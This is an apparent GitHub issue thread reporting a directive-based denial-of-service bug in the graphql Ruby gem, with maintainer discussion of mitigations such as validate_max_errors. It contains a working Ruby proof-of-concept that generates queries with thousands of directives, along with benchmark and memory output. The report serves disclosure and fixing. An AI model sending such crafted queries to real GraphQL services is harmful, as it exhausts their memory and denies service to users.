Directive based DoS vulnerability

[bessey]

Describe the bug

It is possible to craft a 30kB query that takes a disproportionate amount of time and memory to parse and analyse, regardless of the schema. This could easily be used to perform a denial of service attack on a schema, even one with a modest maximum query string length.

Versions

graphql version: 1.13 / 2.0

Demo

require 'bundler/inline'
require "benchmark"

gemfile do
  source 'https://rubygems.org'
  gem 'graphql', '2.0'
  gem "benchmark-memory"
end

class QueryType < GraphQL::Schema::Object
end

class TestSchema < GraphQL::Schema
  query(QueryType)
end


query_innocent = <<-GRAPHQL
query {
  __typename @a
}
GRAPHQL

query_unique_directives = <<-GRAPHQL
query {
  __typename #{ 10_000.times.map { |i| "@a#{i}" }.join(" ") }
}
GRAPHQL

query_repeat_directives = <<-GRAPHQL
query {
  __typename #{ "@a " * 10_000 }
}
GRAPHQL


puts TestSchema.execute(query: query_unique_directives).to_h.inspect[0..1_000]
puts "\n\n"
puts TestSchema.execute(query: query_repeat_directives).to_h.inspect[0..1_000]

Benchmark.bm(10) do |i|
  i.report("innocent") do
    TestSchema.execute(query: query_innocent)
  end
  i.report("unique") do
    TestSchema.execute(query: query_unique_directives)
  end
  i.report("repeat") do
    TestSchema.execute(query: query_repeat_directives)
  end
end

puts "\n\n"

Benchmark.memory do |j|
  j.report("innocent") do
    TestSchema.execute(query: query_innocent)
  end
  j.report("unique") do
    TestSchema.execute(query: query_unique_directives)
  end
  j.report("repeat") do
    TestSchema.execute(query: query_repeat_directives)
  end
end

puts "\n\n"

puts "unique query size = #{query_unique_directives.length / 1024}kB"
puts "repeated query size = #{query_repeat_directives.length / 1024}kB"

Actual behavior

{"errors"=>[{"message"=>"Directive @a0 is not defined", "locations"=>[{"line"=>2, "column"=>14}], "path"=>["query", "__typename"], "extensions"=>{"code"=>"undefinedDirective", "directiveName"=>"a0"}}, {"message"=>"Directive @a1 is not defined", "locations"=>[{"line"=>2, "column"=>18}], "path"=>["query", "__typename"], "extensions"=>{"code"=>"undefinedDirective", "directiveName"=>"a1"}}, {"message"=>"Directive @a2 is not defined", "locations"=>[{"line"=>2, "column"=>22}], "path"=>["query", "__typename"], "extensions"=>{"code"=>"undefinedDirective", "directiveName"=>"a2"}}, {"message"=>"Directive @a3 is not defined", "locations"=>[{"line"=>2, "column"=>26}], "path"=>["query", "__typename"], "extensions"=>{"code"=>"undefinedDirective", "directiveName"=>"a3"}}, {"message"=>"Directive @a4 is not defined", "locations"=>[{"line"=>2, "column"=>30}], "path"=>["query", "__typename"], "extensions"=>{"code"=>"undefinedDirective", "directiveName"=>"a4"}}, {"message"=>"Directive @a5 is not defined", 


{"errors"=>[{"message"=>"The directive \"a\" can only be used once at this location.", "locations"=>[{"line"=>2, "column"=>14}, {"line"=>2, "column"=>17}], "path"=>["query", "__typename"], "extensions"=>{"code"=>"directiveNotUniqueForLocation", "directiveName"=>"a"}}, {"message"=>"The directive \"a\" can only be used once at this location.", "locations"=>[{"line"=>2, "column"=>14}, {"line"=>2, "column"=>20}], "path"=>["query", "__typename"], "extensions"=>{"code"=>"directiveNotUniqueForLocation", "directiveName"=>"a"}}, {"message"=>"The directive \"a\" can only be used once at this location.", "locations"=>[{"line"=>2, "column"=>14}, {"line"=>2, "column"=>23}], "path"=>["query", "__typename"], "extensions"=>{"code"=>"directiveNotUniqueForLocation", "directiveName"=>"a"}}, {"message"=>"The directive \"a\" can only be used once at this location.", "locations"=>[{"line"=>2, "column"=>14}, {"line"=>2, "column"=>26}], "path"=>["query", "__typename"], "extensions"=>{"code"=>"directiveNotUniqu
                 user     system      total        real
innocent     0.000646   0.000025   0.000671 (  0.000669)
unique       0.175301   0.000007   0.175308 (  0.175310)
repeat       0.160887   0.000050   0.160937 (  0.160937)


Calculating -------------------------------------
            innocent    22.568k memsize (     0.000  retained)
                       294.000  objects (     0.000  retained)
                         7.000  strings (     0.000  retained)
              unique    20.419M memsize (     0.000  retained)
                       210.274k objects (     0.000  retained)
                        50.000  strings (     0.000  retained)
              repeat    34.711M memsize (     0.000  retained)
                       320.262k objects (     0.000  retained)
                         8.000  strings (     0.000  retained)


unique query size = 67kB
repeated query size = 29kB

Expected behavior

Open to discussion I suppose! You wouldn't expect a JSON parser to refuse to parse a 1GB JSON object, but you also wouldn't expect there to exist specific JSON strings that if parsed would consume 1000x more memory than the string they were parsed from, so I do think some responsibility falls on the library.

I guess the expected behaviours for me are, with the default query analysers

• An invalid query should take no more than 10x the memory of its query string to to parse / analyse / return errors for
• Where this constraint cannot be met, analysis should be abandoned early and the reason should be output as a top level error to mitigate the risk

[rmosolgo]

Thanks for this report! I agree the library could perform a lot better in this situation. I'll dig into your script a little deeper with memory_profiler and see where the gem can be improved.

[rmosolgo]

(In the meantime, if you want to mitigate this risk, you could add something like validate_max_errors 100 in your schema definition to halt static validation before it gets to one bazillion errors 😅 )

[bessey]

Didn't know about validate_max_errors, thanks! Our crude solution in addition is to have a maximum number of 100 @s in the query string.

[bessey]

Just an addendum, I focussed on invalid directives here, but the same is true for valid ones:

<<-GRAPHQL
query {
  __typename #{ "@skip(if: false) " * 1_000 }
}
GRAPHQL

consumes 1.6MB of memory with validate_max_errors(100) but 45MB without it. Note I dropped the number of directives to 1k from 10k because the script was so slow otherwise! that's a query size / memory size ratio of 2800x!

It really makes me think validate_max_errors(100) should be the default, as this is so easy to exploit. I appreciate that's potentially a breaking change though

[rmosolgo]

validate_max_errors(100) should be the default

Another option is to generate that into all newly-generated schemas. (We could do the same with validate_timeout.)

[bessey]

Another configuration I was not aware of. Having read up on it a bit, adding Timeout to the default path makes me a bit nervous, but only because I have been burned before.

Adding to the generators seems like a reasonable compromise 👍 depending on where you stand on convention vs configuration, I supopse